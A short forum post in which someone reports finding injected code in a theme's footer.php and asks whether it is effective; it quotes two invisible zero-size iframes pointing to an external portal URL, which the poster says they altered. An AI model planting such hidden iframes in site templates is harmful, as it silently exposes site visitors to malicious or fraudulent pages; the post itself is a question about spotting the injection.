Just ran across a theme that has the following code stuffed into footer.php. How effective is something like this? Does it work?
</html><html><iframe width=0 height=0 frameborder=0 src=http://www.xxxxxxxx20.com/portal/index.php?aff=secownz marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
<html><iframe width=0 height=0 frameborder=0 src=http://www.xxxxxxxx20.com/portal/index.php?aff=secownz marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
(Note I changed the actual URL)